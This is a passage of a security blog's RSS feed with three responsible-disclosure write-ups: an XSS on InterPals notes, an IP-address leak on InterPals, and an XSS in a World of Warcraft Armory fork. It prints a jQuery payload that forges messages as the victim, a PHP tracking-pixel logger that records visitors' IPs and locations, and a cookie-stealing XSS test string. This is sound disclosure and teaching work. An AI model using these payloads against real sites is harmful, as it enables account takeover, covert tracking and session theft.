&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//path.to/your/malicious_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let us see the content of an example malicious_script.js, which sends a forged message:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$.ajax({
  type: &apos;POST&apos;,
  url: &apos;http://www.interpals.net/pm.php&apos;,
  data: {
    action: &apos;add_contact&apos;,
    username: &apos;TARGET_NAME&apos;
  },
  success: function(data) {
    var id = data.thread_id;

    $.ajax({
      type: &apos;POST&apos;,
      url: &apos;http://www.interpals.net/pm.php&apos;,
      data: {
        action: &apos;send_message&apos;,
        thread: id,
        message: &quot;XSS TEST MESSAGE&quot;
      },
      success: function(data) {
        console.log(&apos;Forged message sent&apos;);
      }
    });
  },
  dataType: &apos;json&apos;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a victim opens the malicious note, the script is executed and the message &quot;XSS TEST MESSAGE&quot; is sent immediately to the user identified by &quot;TARGET_NAME&quot; &lt;em&gt;by the victim&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xss_test_message.png&quot; alt=&quot;xss-test-message&quot; title=&quot;InterPals XSS test message&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In a similar manner we could have altered their profile, settings, etc.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;or read their private messages&lt;/li&gt;
&lt;li&gt;or deleted their account&lt;/li&gt;
&lt;li&gt;or performed a denial-of-service attack by a chain reaction of self-replicating XSS messages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Users can be easily tricked into clicking the following innocent looking URLs, which automatically execute the malicious script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://www.interpals.net/app/notes?uid=1234
http://www.interpals.net/app/note?nid=1234
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;This vulnerability was reported to &lt;a href=&quot;http://interpals.net&quot;&gt;InterPals&lt;/a&gt; and was fixed immediately.&lt;/p&gt;
</content:encoded></item><item><title>IP address leak on InterPals</title><link>https://fuwari.vercel.app/posts/ip-address-leak-on-interpals/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/ip-address-leak-on-interpals/</guid><description>Explanation of a vulnerability which allowed an attacker to track the IP address of InterPals users.</description><pubDate>Wed, 27 Jan 2016 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;InterPals is the top site to meet people and make new friends, penpals, language partners, travel buddies!&lt;/p&gt;
&lt;p&gt;--- &lt;a href=&quot;http://interpals.net&quot;&gt;InterPals.net&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While using InterPals, I noticed that whenever a picture is sent to a chat partner, its thumbnail is referenced directly in the chat window, therefore it should be possible to track the recipient&apos;s IP address and approximate location.&lt;/p&gt;
&lt;h2&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;I quickly came up with the following code snippet which generates a very small transparent picture. Upon request, the PHP script stores the details of the visitor in a database.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

require_once &apos;db.php&apos;;

$geoip = geoip_record_by_name($_SERVER[&apos;REMOTE_ADDR&apos;]);

$entry = ORM::for_table(&apos;ip&apos;)-&amp;gt;create();
$entry-&amp;gt;ip = $_SERVER[&apos;REMOTE_ADDR&apos;];
$entry-&amp;gt;agent = $_SERVER[&apos;HTTP_USER_AGENT&apos;];
$entry-&amp;gt;set_expr(&apos;date&apos;, &apos;NOW()&apos;);
$entry-&amp;gt;country = $geoip[&apos;country_name&apos;];
$entry-&amp;gt;city = $geoip[&apos;city&apos;];
$entry-&amp;gt;host = gethostbyaddr($_SERVER[&apos;REMOTE_ADDR&apos;]);
$entry-&amp;gt;save();

$img = imagecreatefrompng(&apos;1px_transparent.png&apos;);
header(&apos;Content-Type: image/png&apos;);
imagepng($img);
imagedestroy($img);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The picture itself is a 1x1 transparent PNG file which can be easily hidden in a message - just like a whitespace character.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img_bbcode.jpg&quot; alt=&quot;img-bbcode&quot; title=&quot;Interpals img BBCode&quot; /&gt;
&lt;img src=&quot;./img_bbcode_result.jpg&quot; alt=&quot;img-bbcode-result&quot; title=&quot;Interpals img BBCode result&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also created a basic web interface to display the results of the tracking.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ip_view.png&quot; alt=&quot;ip-view&quot; title=&quot;A basic web interface showing the IP of the tracked user&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;This vulnerability was reported to &lt;a href=&quot;http://interpals.net&quot;&gt;InterPals&lt;/a&gt;. They are aware of the problem that images can leak user IPs, and they plan to address this issue in the future. A possible solution would be to use a proxy for requesting images from unknown sources.&lt;/p&gt;
</content:encoded></item><item><title>World of Warcraft Armory XSS</title><link>https://fuwari.vercel.app/posts/world-of-warcraft-armory-xss/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/world-of-warcraft-armory-xss/</guid><description>An XSS attack originating from the game in order to hijack web sessions.</description><pubDate>Fri, 01 Jan 2016 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;An XSS vulnerability was present in a fork of &lt;a href=&quot;https://github.com/Shadez/wowarmory&quot;&gt;Shadez/wowarmory&lt;/a&gt; used by &lt;a href=&quot;https://tauriwow.com/&quot;&gt;Tauri&lt;/a&gt;, the #1 Hungarian WoW private server.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The World of Warcraft Armory is a vast searchable database of information for World of Warcraft - taken straight from the real servers and presented in a user-friendly interface.&lt;/p&gt;
&lt;p&gt;--- &lt;a href=&quot;https://github.com/Shadez&quot;&gt;Shadez&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you are not familiar with the game, let me introduce you to the concept of guilds. World of Warcraft is based on teamwork, therefore players are able to join small communities called guilds. Every member of a guild has an associated value, called &lt;a href=&quot;http://wowwiki.wikia.com/wiki/Guild#Ranking_and_Promotion&quot;&gt;rank&lt;/a&gt;, which is set by the Guild Master. The rank is used to give extended privileges to members like access to restricted items, gold, chat etc.&lt;/p&gt;
&lt;p&gt;By default, there are 5 different ranks which can be customized.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./default-guild-rank-names.png&quot; alt=&quot;default-guild-rank-names&quot; title=&quot;Default guild rank names&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Attack surface&lt;/h2&gt;
&lt;p&gt;The name of a rank can be changed to an arbitrary string, but the game client enforces a 15-character limit, which makes this attack surface very limited.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./an-abnormal-guild-rank-name.png&quot; alt=&quot;an-abnormal-guild-rank-name&quot; title=&quot;An abnormal guild rank name&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Long story short, it turned out that the 15-character limit set by the client is only a soft limit and the server does not really care about the length of the name - it can be anything up to 255 characters (limited only by the type of the database field).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./an-abnormal-guild-rank-name.png&quot; alt=&quot;database-structure-of-guild-rank-table&quot; title=&quot;Database structure of guild_rank table in MaNGOS&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://github.com/mangostwo/server/blob/7cc4e36cf52994bf3b10827b93ae0e66492d59ff/src/game/Object/Guild.cpp#L762
void Guild::SetRankName(uint32 rankId, std::string name_)
{
    if (rankId &amp;gt;= m_Ranks.size())
        return;

    m_Ranks[rankId].Name = name_;

    CharacterDatabase.escape_string(name_);
    CharacterDatabase.PExecute(&quot;UPDATE guild_rank SET rname=&apos;%s&apos; WHERE rid=&apos;%u&apos; AND guildid=&apos;%u&apos;&quot;, name_.c_str(), rankId, m_Id);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The missing server-side validation allowed an attacker to enter a valid &amp;lt;script src=&quot;..&quot;&amp;gt;&amp;lt;/script&amp;gt; tag as the name of the rank, and the web interface was more than happy to display the name without any HTML sanitization.&lt;/p&gt;
&lt;h2&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;Let us set the name of the rank for a given guild member to the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then visit the home page of the guild on the web interface:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./session-hijacking-poc.png&quot; alt=&quot;session-hijacking-poc&quot; title=&quot;Session hijacking proof of concept&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, we obtained the value of the PHPSESSID cookie which can be used to impersonate the given user on the server&apos;s website.&lt;/p&gt;
&lt;h2&gt;Lessons learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;If the length of a database field has a well-defined upper bound then it should be properly limited instead of using a default range&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;Guild::SetRankName&lt;/code&gt; function of the game server should have verified the length of the rank name&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;Guild::SetRankName&lt;/code&gt; function of the game server should have validated the name by using regular expressions&lt;/li&gt;
&lt;li&gt;If you assume that a string is safe for SQL it does not automatically mean that the string is also safe for HTML&lt;/li&gt;
&lt;li&gt;The variables displayed to the user in the web browser should have been properly escaped&lt;/li&gt;
&lt;li&gt;The session cookie should have been set to HTTP(S)-only&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see, the XSS could have been prevented at multiple layers, but in this case, none of the validations were present.&lt;/p&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;This vulnerability was reported to &lt;a href=&quot;http://tauriwow.com/&quot;&gt;Tauri&lt;/a&gt; and was fixed immediately. The lack of length verification was resolved in &lt;a href=&quot;https://github.com/TrinityCore/TrinityCore&quot;&gt;TrinityCore&lt;/a&gt;, which is the successor of &lt;a href=&quot;https://github.com/mangos/MaNGOS&quot;&gt;MaNGOS&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item></channel></rss>